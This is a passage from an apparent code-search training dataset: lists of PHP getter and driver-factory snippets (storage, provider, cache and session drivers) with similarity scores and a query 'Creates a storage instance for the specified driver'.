getStorage($mountPoint) {\n\t\tif (!self::$mounts) {\n\t\t\t\\OC_Util::setupFS();\n\t\t}\n\t\t$mount = self::$mounts->find($mountPoint);\n\t\treturn $mount->getStorage();\n\t}", "function getStorage();", "public function getServiceProvider($provider);", "public function getProvider($provider)\n {\n return array_values($this->getProviders($provider))[0] ?? null;\n }", "public function getProvider()\r\n\t{\r\n\t\treturn CrossKalturaDistributionPlugin::getProvider();\r\n\t}", "function getStorageEngine() {\n \treturn $this->storage_engine;\n }", "public function getStorage()\n {\n if($this->_storageInstance == null)\n {\n $storageClass = $this->_storageClass;\n $this->_storageInstance = new $storageClass($this->_storageConfig);\n $this->_storageInstance->setMapperInstance($this);\n }\n return $this->_storageInstance;\n }", "public function getProvider(): ?string {\n return $this->provider;\n }", "function svbk_policy_get_provider(){\n\t$provider = new \\Svbk\\WP\\Privacy\\Providers\\File;\n\treturn apply_filters('svbk_policy_provider', $provider );\n}", "public function getConfig($key);", "public function getConfig($key);", "public function getStorageGroup()\n {\n return $this->get('storagegroup');\n }", "public function getStorage()\n {\n return Controllers\\StorageController::getInstance();\n }", "public function getConfigKey(): string;", "public function getStoragePrimaryKey();", "public function getStorage(): StorageInterface\n {\n return $this->storage;\n }", "private function getProviderConfig($providerName)\n {\n return Config::get('providers.' . $providerName);\n }", "public function get(string $key)\n {\n return $this->has($key) ? $this->storage[$key] : null;\n }", "public static function getProvider($provider){\n return \\Illuminate\\Foundation\\Application::getProvider($provider);\n }", "function getStorage()\n{\n\tif (!$this->storage) $this->storage = new AuthDbStorage;\n\treturn $this->storage;\t\n}", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "protected function getProvider()\n\t{\n\t\treturn $this->container->get('ant_badge.provider');\n\t}", "public function getCacheStorage(): CacheStorageInterface\n {\n return $this->storage;\n }", "public function getStorage():OAuthStorageInterface;", "function getStorage() ;", "public function getSelectedProvider() {\n $providers = $this->getProviders();\n if (empty($providers)) {\n return null;\n }\n\n $spi = get_option($this->selectedProviderOptName, null);\n if (count($providers) === 1) {\n // no provider has been previously selected, return first index\n if ($spi === null) {\n return $providers[0];\n }\n // the selected provider is the same as the only available provider, return first index\n if ($providers[0]->getIdentifier() === $spi) {\n return $providers[0];\n }\n // a different provider that is no longer available was previously selected, return `null`\n return null;\n }\n\n // more than one provider exists and no provider has been selected, return `null`\n if (empty($spi)) {\n return null;\n }\n\n foreach ($providers as $s) {\n if ($s->getIdentifier() === $spi) {\n return $s;\n }\n }\n\n // the selected provider is no longer available, return `null`\n return null;\n }", "abstract protected function getStorage(): StorageInterface;", "public function getStorage()\r\n {\r\n return $this->storage;\r\n }", "public function getStorage($storageName)\n {\n if (!array_key_exists($storageName, $this->_storages)) {\n throw new InvalidParamException(\"Storage named '{$storageName}' does not exists in the file storage hub '\" . get_class($this) . \"'\");\n }\n $storageData = $this->_storages[$storageName];\n if (is_object($storageData)) {\n $storageInstance = $storageData;\n } else {\n $storageInstance = $this->createStorageInstance($storageData);\n $this->_storages[$storageName] = $storageInstance;\n }\n return $storageInstance;\n }", "public function getStore($storageClass)\n {\n if (!class_exists($storageClass)\n && class_exists('ls\\\\pluginmanager\\\\' . $storageClass)) {\n $storageClass = 'ls\\\\pluginmanager\\\\' . $storageClass;\n }\n if (!isset($this->stores[$storageClass]))\n {\n $this->stores[$storageClass] = new $storageClass();\n }\n return $this->stores[$storageClass];\n }", "function get_storage()\n{\n return env('FILESYSTEM_DRIVER');\n}", "public static function get (string $key)\n {\n $value = null;\n\n if (function_exists('resolve')) {\n $repo = resolve('config');\n\n if ($repo && method_exists($repo, 'get')) {\n $value = $repo->get($key);\n }\n }\n\n return $value;\n }", "public function getProvider(ServiceProvider $provider)\n {\n return $provider;\n }", "private function config($key)\n {\n return Config::get('mediabrowser::mediabrowser.' . $key);\n }", "protected function getStorageDetails($identifier) {\n $storage = $this->_config->get('storage');\n\n if (isset($storage[$identifier])) {\n return $storage[$identifier];\n }\n\n throw new \\Exception('Storage identifier ' . $identifier . ' was not found');\n }", "public function storageClass()\n {\n return 'OAuth2_Storage_Pdo';\n }", "public function getStorage()\n {\n return $this->_storage;\n }", "public function get($key)\n {\n return $this->getRegistryBackend()->get($key);\n }", "public function getStorage()\n {\n if (NULL === $this->_storage) {\n $this->setStorage(new Auth\\Storage\\MultipleIdentities());\n }\n \n return $this->_storage;\n }", "public function get_service() {\n\n\t\treturn $this->provider_instance;\n\t}", "function _getStorage()\n {\n if ($this->_handler instanceof CacheStorage) {\n return $this->_handler;\n }\n\n $this->_handler = CacheStorage::getInstance($this->_options['storage'], $this->_options);\n if ($this->_handler != null) {\n if ($this->_handler->test()) {\n return $this->_handler;\n } else {\n $this->_handler = CacheStorage::getInstance('file', $this->_options);\n return $this->_handler;\n }\n } else {\n return null;\n }\n }", "public function getProviderGateway()\n {\n return $this->providerGateway;\n }", "public function get_gateway_provider() {\n\t\tif ( ! $this->gateway_provider ) {\n\t\t\t// this shouldn't happen outside of our internal development\n\t\t\tthrow new Exception( 'Missing gateway provider configuration' );\n\t\t}\n\n\t\treturn $this->gateway_provider;\n\t}", "protected function getStorage()\n{\n\tglobal $pclib;\n\tif (!$this->storage) $this->storage = new TranslatorDbStorage($this);\n\treturn $this->storage;\n}", "public function getStorageType() {\n return $this->configuration['storage_type'] ?: NULL;\n }", "final protected function getPathProvider()\n {\n return $this->pathProvider;\n }", "protected function getUserProvider()\n {\n return config('adldap_auth.provider', DatabaseUserProvider::class);\n }", "private static function getKey(array $config)\n {\n if (\n !(array_key_exists('key', $config) || array_key_exists('keyPath', $config)) ||\n (array_key_exists('key', $config) && array_key_exists('keyPath', $config))\n ) {\n throw new InvalidArgumentException('The private key authenticator requires the key or key path to be configured.');\n }\n\n if (array_key_exists('key', $config)) {\n return InMemory::plainText($config['key'], $config['passphrase'] ?? '');\n }\n\n return LocalFileReference::file($config['keyPath'], $config['passphrase'] ?? '');\n }", "public function get_provider_by_id($id = 0)\n {\n $provider = null;\n\n if ($id)\n {\n $providers = self::get_providers(array('id' => $id));\n\n if (count($providers))\n {\n $provider = $providers[0];\n }\n }\n\n return $provider;\n }", "public function getByKey($key);", "public function getStorage() {\n\t\treturn $this->_storage;\n\t}", "protected function getDefaultStorage()\n {\n $storageList = $this->_storages;\n $storageNames = array_keys($storageList);\n $defaultStorageName = array_shift($storageNames);\n if (empty($defaultStorageName)) {\n throw new Exception('Unable to determine default storage in the hub!');\n }\n $storage = $this->getStorage($defaultStorageName);\n return $storage;\n }", "protected function getProvider($provider) : Provider\n {\n if (is_string($provider)) {\n $provider = new $provider;\n }\n\n return $provider;\n }", "public function storeKey()\n {\n return $this->repository->get($this->repoOptionString($this->sessionKey));\n }", "public function get($strKey);", "public function storage($storage)\n\t{\n\t\treturn $this->storage->get($storage);\n\t}" ]
[ "0.6466302", "0.6348614", "0.6332645", "0.6261983", "0.6241674", "0.6223641", "0.62144905", "0.6150792", "0.61017066", "0.61017066", "0.61017066", "0.60108554", "0.60046214", "0.60001683", "0.5999905", "0.59636986", "0.59174734", "0.59174734", "0.5916909", "0.5880084", "0.5875247", "0.58744395", "0.58744395", "0.5863632", "0.58619237", "0.58589536", "0.5858205", "0.58485633", "0.57872766", "0.57637495", "0.5757373", "0.5757202", "0.575716", "0.57049555", "0.56998575", "0.5666694", "0.5647746", "0.5621336", "0.56163996", "0.5596944", "0.5595185", "0.55793375", "0.55741495", "0.5532844", "0.5518567", "0.55176884", "0.55020964", "0.55020964", "0.5497492", "0.5497458", "0.5489108", "0.5484078", "0.5474989", "0.54714143", "0.54555464", "0.54424196", "0.5442224", "0.5429615", "0.5429615", "0.5429615", "0.5429615", "0.5429615", "0.5429615", "0.5429615", "0.5429615", "0.5429615", "0.5411933", "0.5411526", "0.54050756", "0.54032815", "0.53942996", "0.5391546", "0.53915006", "0.53899175", "0.53725666", "0.5370379", "0.53546935", "0.53230304", "0.53228015", "0.5315112", "0.5295715", "0.52765125", "0.52660197", "0.52467465", "0.52378994", "0.5232004", "0.52174956", "0.5205232", "0.5203727", "0.5202017", "0.519998", "0.5186457", "0.5181927", "0.51817185", "0.5180605", "0.5179648", "0.517716", "0.5175051", "0.5174145", "0.51721144", "0.5166357" ]
0.0
-1
Creates a storage instance for the specified driver
function createDriver($driver, array $conf = null);
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function createStorage();", "public function create($driver, array $conf = null);", "protected function createStorageInstance(array $storageConfig)\n {\n return Yii::createObject($storageConfig);\n }", "private static function driver($driver)\n\t{\n\t\tswitch($driver)\n\t\t{\n\t\t\tcase 'apc':\n\t\t\t\treturn new Driver\\APC(static::$configuration['key']);\n\t\t\tcase 'file':\n\t\t\t\treturn new Driver\\File(static::$configuration['key'], static::$configuration['path']);\n\t\t\tcase 'memcache':\n\t\t\t\treturn new Driver\\Memcache(static::$configuration['key'], Memcache::instance());\n\t\t\tcase 'memcached':\n\t\t\t\treturn new Driver\\Memcached(static::$configuration['key'], Memcached::instance());\n\t\t\tdefault:\n\t\t\t\tthrow new \\InvalidArgumentException('Cachew driver ['.$driver.'] is not currently supported');\n\t\t\tbreak;\n\t\t}\n\t}", "public function driver($driver = null)\n {\n return $this->store($driver);\n }", "public function driver($driver = null)\n\t{\n\t\treturn $this->store($driver);\n\t}", "static public function factory($driver = 'CacheLite', array $options = array())\n {\n $class = 'OpenID_Store_' . $driver;\n if (!class_exists($class)) {\n throw new OpenID_Store_Exception(\n 'Invalid storage driver: ' . $driver,\n OpenID_Exception::INVALID_VALUE\n );\n }\n\n $instance = new $class($options);\n if (!$instance instanceof OpenID_Store_Interface) {\n throw new OpenID_Store_Exception(\n $class . ' does not implement OpenID_Store_Interface',\n OpenID_Exception::INVALID_DEFINITION\n );\n }\n\n return $instance;\n }", "protected function createDriver($driver)\n {\n // We'll check to see if a creator method exists for the given driver. If not we\n // will check for a custom driver creator, which allows developers to create\n // drivers using their own customized driver creator Closure to create it.\n if (isset($this->customCreators[$driver])) {\n return $this->callCustomCreator($driver);\n } else {\n $method = 'create'.Str::studly($driver).'Driver';\n\n if (method_exists($this, $method)) {\n return $this->$method();\n }\n }\n\n if ($extendDriver = $this->config->get('hashing.drivers.' . $driver)) {\n if ($this->container->has($extendDriver)) {\n return $this->container->get($extendDriver)->init($this->container);\n }\n }\n\n throw new InvalidArgumentException(\"Driver [$driver] not supported.\");\n }", "protected function createFilesystemDriver(): StoreContract\n {\n return $this->createCacheBased('filesystem');\n }", "public function storage(): FilesystemAdapter\n {\n return Storage::disk($this->getDiskName());\n }", "protected function createDatabaseDriver(array $config)\n\t{\n\t\t$model = $config['model'];\n\n\t\tif ( ! is_string($model)) {\n\t\t\tthrow new LogicException(\"The $model is not string\");\n\t\t}\n\n\t\t$model = $this->app->make($model);\n\n\t\treturn new DatabaseStore($model);\n\t}", "public static function forge($type = 'db', $config = null)\n\t{\n\t\t// validate the type\n\t\tif (empty($type) or ! is_string($type))\n\t\t{\n\t\t\tthrow new \\RuntimeException('FOU-028: Specified storage type must be a string value');\n\t\t}\n\n\t\t// create and return the requested storage instance\n\t\treturn static::getDic()->resolve('storage.'.$type, array($config));\n\t}", "public function createLocalStorageDriver($rootPath = null)\n {\n if ( ! is_null($rootPath)) {\n $client = Storage::createLocalDriver(['root' => $rootPath]);\n } else {\n $client = Storage::createLocalDriver(['root' => $this->rootPath]);\n }\n\n return $client;\n }", "abstract public function instanceFactory($model): EloquentStorage;", "public function initStorage()\n {\n $dbMasterConfig = C(self::$dbKey);\n $this->storage = $this->getDbInstance($dbMasterConfig);\n $this->setTableName($dbMasterConfig);\n\n return $this->storage;\n }", "protected function createDatabaseDriver(array $config)\n {\n $connection = $this->app['db']->connection($config['connection'] ?? null);\n\n return $this->repository(\n new DatabaseStore($connection, $config['table'])\n );\n }", "public function createInstance($driver, $config = false)\n {\n // use createDriver() because driver() only creates on instance\n $reference = $this->createDriver($driver);\n\n // any other setup needed\n if ($config) {\n $reference->configure($config);\n }\n\n return $reference;\n }", "private function _makeTemplateStorage($storage_type)\n\t{\t\t\n\t\treturn new $storage_type();\n\t}", "static public function factory($driver, array$options = array())\n {\n $filename = 'DiggLite/Cache/' . str_replace('_', '/', $driver . '.php');\n $class = 'DiggLite_Cache_' . $driver;\n\n include_once $filename;\n if (!class_exists($class)) {\n throw new DiggLite_Exception(\"Cache driver $class does not exist\");\n }\n\n return new $class($options);\n }", "protected function registerStorageDriver()\n {\n $driver = config('telescope-error-service-client.driver');\n\n if (method_exists($this, $method = 'register'.ucfirst($driver).'Driver')) {\n $this->$method();\n }\n }", "function get_storage()\n{\n return env('FILESYSTEM_DRIVER');\n}", "public function createLocalDriver(array $config)\n\t{\n\t return $this->adapt(new Local($config['root']));\n\t}", "public function createStorage($class_name)\n\t{\n\t\t$class_name = Builder::className($class_name);\n\t\treturn (new Maintainer())->updateTable($this->connection, $class_name);\n\t}", "public function store(CreateDriverRequest $request)\n {\n \n $drivers = new Drivers();\n $drivers->name = $request->input('name');\n $drivers->address = $request->input('address');\n \n if ($request->file('picture')){\n $path = $request->file('picture')->store('public/uploads');\n $path_array = explode(\"/\", $path);\n array_shift($path_array);\n $drivers->picture = implode(\"/\",$path_array);\n }\n \n $drivers->licence_type = $request->input('licence_type');\n $drivers->licence_date = $request->input('licence_date');\n \n $drivers->save();\n return redirect()->back()->with('message', 'New driver added!');\n }", "protected static function factory($driver) {\n\t\tif (isset(static::$registrar[$driver])) {\n\t\t\t$resolver = static::$registrar[$driver];\n\n\t\t\treturn $resolver();\n\t\t}\n\n\t\tswitch ($driver) {\n\t\t\tcase 'fluent':\n\t\t\t\treturn new Auth\\Drivers\\Fluent(Config::get('auth.table'));\n\n\t\t\tcase 'eloquent':\n\t\t\t\treturn new Auth\\Drivers\\Eloquent(Config::get('auth.model'));\n\n\t\t\tdefault:\n\t\t\t\tthrow new \\Exception(\"Auth driver {$driver} is not supported.\");\n\t\t}\n\t}", "public function createStorage(array $context = []): void;", "function &factory($driver, $params = array())\n {\n if (is_array($driver)) {\n list($app, $driver) = $driver;\n }\n\n $driver = basename($driver);\n if ($driver == 'none') {\n $class = 'Horde_Token';\n } else {\n $class = 'Horde_Token_' . $driver;\n }\n if (!class_exists($class)) {\n if (!empty($app)) {\n require_once $app . '/lib/Token/' . $driver . '.php';\n } else {\n include_once 'Horde/Token/' . $driver . '.php';\n }\n }\n\n if (class_exists($class)) {\n $token = new $class($params);\n } else {\n /* If driver class doesn't exist or the driver is not\n * available just default to the parent class, and it is\n * not necessary to warn about degraded service. */\n $token = new Horde_Token($params);\n }\n\n return $token;\n }", "public static function create( DriverEnum $driver ): ConnectDataInterface\n\t{\n\t\t$connectDataName = config( \\Facade\\Create :: class . '.' . $driver -> value );\n\t\t\n\t\treturn new $connectDataName( fn(): static => new static ( $driver -> value ) );\n\t}", "public function driver(string $driver = '', array $config = []): Factory\n {\n $driver = $driver ?: $this->default['driver'];\n $config = $config ?: $this->default['config'];\n\n if (empty($driver)) {\n throw new InvalidArgumentException('No mobile card driver was specified.');\n }\n\n if (!class_exists($driver) || !is_subclass_of($driver, Factory::class)) {\n throw new InvalidArgumentException(\"Driver [$driver] not supported.\");\n }\n\n if (!isset($this->drivers[$driver])) {\n if (!is_array($config)) {\n $config = [];\n }\n\n $this->drivers[$driver] = new $driver($config);\n }\n\n return $this->drivers[$driver];\n }", "public function create($driver, array $params = array())\n {\n $params['browser'] = $this->_injector->getInstance('Horde_Browser');\n $params['vars'] = Horde_Variables::getDefaultVariables();\n\n if (strcasecmp($driver, 'csv') === 0) {\n $params['charset'] = 'UTF-8';\n }\n\n return Horde_Data::factory($driver, $params);\n }", "public static function create($driver, $options = array(), $alias = NULL) {\n $alias = trim(strtolower($alias));\n $driver = trim(strtolower($driver));\n\n try {\n // Make sure alias isn't already taken\n if (isset($alias) and !empty($alias) and isset(self::$connections[$alias])) throw new Exception('Alias already registered!');\n\n // Make sure requested driver is a valid one\n if (!self::loadDriver($driver)) throw new Exception('Failed to load driver!');\n\n // Create the new driver\n $dbDriverClass = \"dbDriver_$driver\";\n $dbDriverObj = new $dbDriverClass($options);\n\n // Save the driver for later if it's been given an alias\n if (!empty($alias)) self::$connections[$alias] = $dbDriverObj;\n\n // Return the new driver object\n return $dbDriverObj;\n }catch(Exception $e) {\n trigger_error(__METHOD__.\"() {$e->getMessage()} thrown from line {$e->getLine()}\", E_USER_ERROR);\n return FALSE;\n }\n }", "public function create(array $config): FilesystemInterface;", "protected function createDatabaseDriver(array $config)\n\t{\n\t\t$connection = $this->getDatabaseConnection();\n\n\t\t$encrypter = $this->royalcms['encrypter'];\n\n\t\t// We allow the developer to specify which connection and table should be used\n\t\t// to store the cached items. We also need to grab a prefix in case a table\n\t\t// is being used by multiple applications although this is very unlikely.\n\t\t$table = $this->royalcms['config']['cache.table'];\n\n\t\t$prefix = $this->getPrefix();\n\n\t\treturn $this->repository(new DatabaseStore($connection, $encrypter, $table, $prefix));\n\t}", "public function store(Request $request)\n {\n $driver = new Driver();\n $driver->create($request->all());\n }", "public function it_should_be_able_to_create_a_filesystem_storeage_instance_by_default()\n {\n $attachment = $this->buildMockAttachment();\n\n $storage = Storage::create($attachment);\n\n $this->assertInstanceOf('Codesleeve\\Stapler\\Storage\\Filesystem', $storage);\n }", "public function makeDriver() : AbstractDriver;", "public function getStorageService();", "public function driver()\n {\n return $this->makeDriversFactory($this->makeConfig())->make();\n }", "public function it_should_be_able_to_create_a_filesystem_storeage_instance()\n {\n $attachment = $this->buildMockAttachment('filesystem');\n\n $storage = Storage::create($attachment);\n\n $this->assertInstanceOf('Codesleeve\\Stapler\\Storage\\Filesystem', $storage);\n }", "public function createDatabase($networkId, $name, $type, $instanceClass, $storage, $public, $pause = false)\n {\n return $this->requestWithErrorHandling('post', '/api/networks/'.$networkId.'/databases', [\n 'name' => $name,\n 'type' => $type,\n 'instance_class' => $instanceClass,\n 'storage' => $storage,\n 'public' => $public,\n 'pause' => $pause,\n ]);\n }", "function &factory($driver, $params = null)\n {\n if (is_array($driver)) {\n $app = $driver[0];\n $driver = $driver[1];\n }\n\n $driver = basename($driver);\n $persistent_params = array();\n\n if ($driver == 'memcached') {\n // Trap for old driver name.\n $driver = 'memcache';\n } elseif (($driver != 'memcache') && !empty($params['memcache'])) {\n unset($params['memcache']);\n $persistent_params = array('persistent_driver' => $driver, 'persistent_params' => $params);\n $driver = 'memcache';\n $params = null;\n }\n\n $class = 'SessionHandler_' . $driver;\n if (!class_exists($class)) {\n if (!empty($app)) {\n include $GLOBALS['registry']->get('fileroot', $app) . '/lib/SessionHandler/' . $driver . '.php';\n } else {\n include 'Horde/SessionHandler/' . $driver . '.php';\n }\n }\n\n if (class_exists($class)) {\n if (empty($params)) {\n include_once 'Horde.php';\n $params = Horde::getDriverConfig('sessionhandler', $driver);\n }\n $handler = new $class(array_merge($params, $persistent_params));\n } else {\n $handler = PEAR::raiseError('Class definition of ' . $class . ' not found.');\n }\n\n return $handler;\n }", "public function storageAdapterFactoryNewInstance(IntegrationTester $I, Example $example)\n {\n $I->wantToTest('Storage\\AdapterFactory - newInstance() - ' . $example[0]);\n\n $serializer = new SerializerFactory();\n $adapter = new AdapterFactory($serializer);\n\n $service = $adapter->newInstance($example[0], $example[2]);\n\n $class = $example[1];\n $I->assertInstanceOf($class, $service);\n }", "protected function createFileDriver(array $config): StoreContract\n {\n return $this->buildSession(\n new FileSessionHandler(\n $config['path'],\n $this->resolvedOptions['lifetime']\n )\n );\n }", "public function testCreateNewStorageFromConstructor()\n {\n unlink(TESTING_STORE);\n\n // create new instance\n $store = new Storage(TESTING_STORE);\n\n // boolean test storage file creating, result must be === true\n $this->assertTrue(file_exists(TESTING_STORE));\n }", "protected function createSupersonicDriver()\n {\n $config = $this->app['config']['services.supersonic'];\n\n return $this->buildProvider(\\App\\Ads\\Providers\\SupersonicProvider::class, $config);\n }", "public function createS3Driver(array $config)\n {\n $s3Config = $this->formatS3Config($config);\n\n $root = $s3Config['root'] ?? null;\n\n $options = $config['options'] ?? [];\n\n return new FilesystemS3Adapter(new Flysystem(new S3Adapter(\n new S3Client($s3Config), $s3Config['bucket'], $root, $options), $config\n ));\n }", "public function getStorage($name)\n {\n return $this\n ->getService('storage')\n ->getDriver($name)\n ;\n }", "public function store(StoreDriversRequest $request)\n {\n if (! Gate::allows('driver_create')) {\n return abort(401);\n }\n $request = $this->saveFiles($request);\n $driver = Driver::create($request->all());\n\n\n\n return redirect()->route('admin.drivers.index');\n }", "protected function create() {\n return call_user_func_array(static::$drivers[$this->options['driver']], array($this));\n }", "public function create($name = '', $params = array())\n {\n if (!isset($this->_instances[$name])) {\n if (!empty($params['driver'])) {\n $driver = $params['driver'];\n unset($params['driver']);\n } else {\n $driver = $GLOBALS['conf']['storage']['driver'];\n $params = Horde::getDriverConfig('storage', $driver);\n }\n $class = 'Pastie_Driver_' . ucfirst(basename($driver));\n\n if (!class_exists($class)) {\n throw new Pastie_Exception(sprintf('Unable to load the definition of %s.', $class));\n }\n\n switch ($class) {\n case 'Pastie_Driver_Rdo':\n if (empty($params['db'])) {\n $params['db'] = $this->_injector->getInstance('Horde_Core_Factory_Db')->create('pastie', $params);\n }\n break;\n }\n $this->_instances[$name] = new $class($params);\n }\n\n return $this->_instances[$name];\n }", "public function with(string $driver)\n {\n return $this->driver($driver);\n }", "public function with(string $driver)\n {\n return $this->driver($driver);\n }", "private static function createCacheStorage(array $options): CacheStorageInterface\n {\n $options = array_merge(\n array(\n 'adapter' => 'DoctrineCacheAdapter',\n 'backend' => array(\n 'class' => 'Doctrine\\Common\\Cache\\FilesystemCache',\n 'args' => array('%{TEMP}/bartlett/cache'),\n ),\n ),\n $options\n );\n\n if (!isset($options['adapter'])) {\n throw new InvalidArgumentException('Adapter is missing');\n }\n\n $adapterClass = $options['adapter'];\n\n if (strpos($adapterClass, '\\\\') === false) {\n // add default namespace\n $adapterClass = __NAMESPACE__ . '\\Cache\\\\' . $adapterClass;\n }\n if (!class_exists($adapterClass)) {\n throw new InvalidArgumentException(\n sprintf(\n 'Adapter \"%s\" cannot be loaded.',\n $adapterClass\n )\n );\n }\n\n if (!isset($options['backend']['class'])) {\n throw new InvalidArgumentException(\n sprintf(\n 'Backend is missing for %s',\n $adapterClass\n )\n );\n }\n $backendClass = $options['backend']['class'];\n\n if (!class_exists($backendClass)) {\n throw new InvalidArgumentException(\n sprintf(\n 'Backend \"%s\" cannot be loaded.',\n $backendClass\n )\n );\n }\n $rc = new ReflectionClass($backendClass);\n\n if (isset($options['backend']['args'])) {\n $args = self::replaceTokens($options['backend']['args']);\n } else {\n $args = array();\n }\n\n $backend = $rc->newInstanceArgs($args);\n $cacheAdapter = new $adapterClass($backend);\n\n return new DefaultCacheStorage($cacheAdapter);\n }", "public static function factory($type)\n {\n if (include_once 'Drivers/' . $type . '.php') {\n $classname = 'Driver_' . $type;\n return new $classname;\n } else {\n throw new Exception('Driver not found');\n }\n }", "function &factory($driver, $params = array())\n {\n if (is_array($driver)) {\n list($app, $driver) = $driver;\n }\n\n $driver = basename($driver);\n $class = 'Horde_Compress_' . $driver;\n if (!class_exists($class)) {\n if (!empty($app)) {\n include_once $app . '/lib/Compress/' . $driver . '.php';\n } else {\n include_once 'Horde/Compress/' . $driver . '.php';\n }\n }\n\n if (class_exists($class)) {\n $compress = new $class($params);\n } else {\n $compress = false;\n }\n\n return $compress;\n }", "public function getStorage()\n {\n if($this->_storageInstance == null)\n {\n $storageClass = $this->_storageClass;\n $this->_storageInstance = new $storageClass($this->_storageConfig);\n $this->_storageInstance->setMapperInstance($this);\n }\n return $this->_storageInstance;\n }", "public function with($driver)\n {\n return $this->driver($driver);\n }", "public function with($driver)\n {\n return $this->driver($driver);\n }", "public static function instance($driver = null)\n\t{\n\t\tempty($driver) and $driver = static::$configuration['default'];\n\n\t\tif(($driver = \\strtolower($driver)) and !isset(static::$drivers[$driver]))\n\t\t{\n\t\t\tstatic::$drivers[$driver] = static::driver($driver);\n\t\t}\n\n\t\treturn static::$drivers[$driver];\n\t}", "public function __construct($storageType = null) {\n\n\t\tif($storageType == null) {\n\t\t\t\n\t\t\t$storageType = self::USE_DBASE;\n\t\t}\n\t\t\n\t\t$this->setStorageType($storageType);\n }", "public static function getInstance($driverName)\n {\n if (isset(self::$instances[$driverName])) {\n return self::$instances[$driverName];\n }\n\n $driver = __CLASS__ . '_' . ucfirst(strtolower($driverName));\n self::$instances[$driverName] = self::factory($driver);\n\n return self::$instances[$driverName];\n }", "public function it_should_be_able_to_create_an_s3_storeage_instance()\n {\n $attachment = $this->buildMockAttachment('s3');\n\n $storage = Storage::create($attachment);\n\n $this->assertInstanceOf('Codesleeve\\Stapler\\Storage\\S3', $storage);\n }", "protected static function getStore(array $config = []): Interfaces\\Store\n {\n static::dropTable();\n $store = new Store\\MySQL([\n 'user' => getenv('MYSQL_USER'),\n 'pass' => getenv('MYSQL_PASS'),\n 'database' => getenv('MYSQL_DATABASE'),\n ]);\n $store->connect();\n\n // Seed one record if required\n if (array_key_exists('seed', $config)) {\n\n $statement = static::getDb()\n ->prepare(\n sprintf(\n 'INSERT INTO %s (hash, entity, type, value) VALUES (:hash, :entity, :type, :value)',\n Store\\MySQL::DEFAULT_TABLE\n )\n );\n $statement\n ->execute([\n 'hash' => 'test',\n 'entity' => 'test',\n 'type' => 'test',\n 'value' => 'test',\n ]);\n }\n\n return $store;\n }", "protected static function initStorages()\n {\n $modelName = ClassFinder::getClassBasename(static::class);\n\n static::$storages = [];\n\n foreach (static::$storagesConf as $name => &$storageConf) {\n if (!isset($storageConf['type'])) {\n $storageConf['type'] = $name;\n }\n if (!isset($storageConf['primaryKey'])) {\n $storageConf['primaryKey'] = static::$primaryKey;\n }\n $storageConf['modelClass'] = static::class;\n $storageConf['modelName'] = $modelName;\n\n $class = Storages\\Generic::class;\n $class = substr($class, 0, strrpos($class, '\\\\'))\n . '\\\\' . $storageConf['type'];\n static::$storages[$name] = new $class($storageConf);\n }\n }", "public static function getInstance(string $identifier, string $driver = 'apcu'): mixed\n {\n if (!isset(self::$instances[$identifier])) {\n self::$instances[$identifier] = app()->make(__CLASS__)->driver($driver);\n }\n\n return self::$instances[$identifier];\n }", "public function store(CreateDriverRequest $request)\n {\n $this->validate($request, [\n 'picture' => 'required|image|mimes:jpeg,png,jpg,gif,svg|max:2048'\n ]);\n $input = $request->all();\n $input['password'] = bcrypt($request->password);\n\n if ($request->file('picture')) {\n $file = $request->file('picture');\n $destinationPath = public_path(). '/drivers-image/';\n $filename = $file->getClientOriginalName();\n $image = time().$filename;\n $file->move($destinationPath, $image);\n $imgpath = '/drivers-image/'.$image;\n\n $input['picture'] = $imgpath;\n }\n \n //dd($input);\n\n $driver = $this->driverRepository->create($input);\n $user = $this->userRepository->create($input);\n\n Flash::success('Driver saved successfully.');\n\n return redirect(route('drivers.index'));\n }", "protected function getStorageMock($ttlSupport = true, array $data = array()) {\n\t\treturn new StorageMock($ttlSupport, false, $data);\n\t}", "public function store(DriverRequest $request)\n {\n $input = $request->all();\n\n $driver = $this->driverRepository->create($input);\n\n Flash::success(__('messages.saved', ['model' => __('models/drivers.singular')]));\n\n return redirect(route('admin.drivers.index'));\n }", "public function createConnection()\n {\n $client = DatabaseDriver::create($this->getConfig());\n\n return $client;\n }", "abstract protected function getStorage(): StorageInterface;", "function is_storage_driver($driver)\n{\n if (is_array($driver)) {\n return in_array(config('filesystems.default'), $driver);\n }\n\n return config('filesystems.default') === $driver;\n}", "public static function getDisk(Storage $config, string $disk = null)\n {\n if (!isset($config->validDrivers) || !is_array($config->validDrivers)) {\n throw StorageException::invalidDrivers();\n }\n\n $disk = !empty($disk) ? $disk : $config->disk;\n\n if (!array_key_exists($disk, $config->validDrivers)) {\n throw StorageException::driverNotFound();\n }\n\n // Get an instance of the disk.\n return new $config->validDrivers[$disk]($config);\n }", "public function __construct($modelType, Storage $storage);", "protected function create() {\n return call_user_func_array(parent::$drivers[$this->options['driver']], array($this));\n }", "protected function createMigratingDriver(array $config): StoreContract\n {\n if (! isset($config['current'], $config['write_only'])) {\n throw new RuntimeException('The MigratingSessionHandler needs a current and write only handler.');\n }\n\n $currentHandler = $this->getDriver($config['current']);\n $writeOnlyHandler = $this->getDriver($config['write_only']);\n\n return $this->buildSession(\n new MigratingSessionHandler($currentHandler->getHandler(), $writeOnlyHandler->getHandler())\n );\n }", "public function __construct(){\n $this->db = new SQLite3(':memory:');\n //create table in db if it does now exist\n $this->db->exec('CREATE TABLE IF NOT EXISTS storage (name STRING, value INT);');\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function create()\n {\n return view('product::admin.storages.create');\n }", "protected function createMongodbDriver(): StoreContract\n {\n return $this->createCacheBased('mongodb');\n }", "public function createVoguePayDriver()\n {\n return $this->repository(new VoguePay($this->dataRepository, $this->config));\n }", "public final function create ($payload) {\n $adapter = $this->build($payload);\n if ($adapter !== null && $adapter->save()) {\n return $adapter;\n }\n }", "protected function createFileDriver(array $config)\n {\n return $this->repository(new FileStore($this->app['files'], $config['path']));\n }", "protected function createMemcachedDriver(): StoreContract\n {\n return $this->createCacheBased('memcached');\n }", "protected function createMemcacheDriver(): 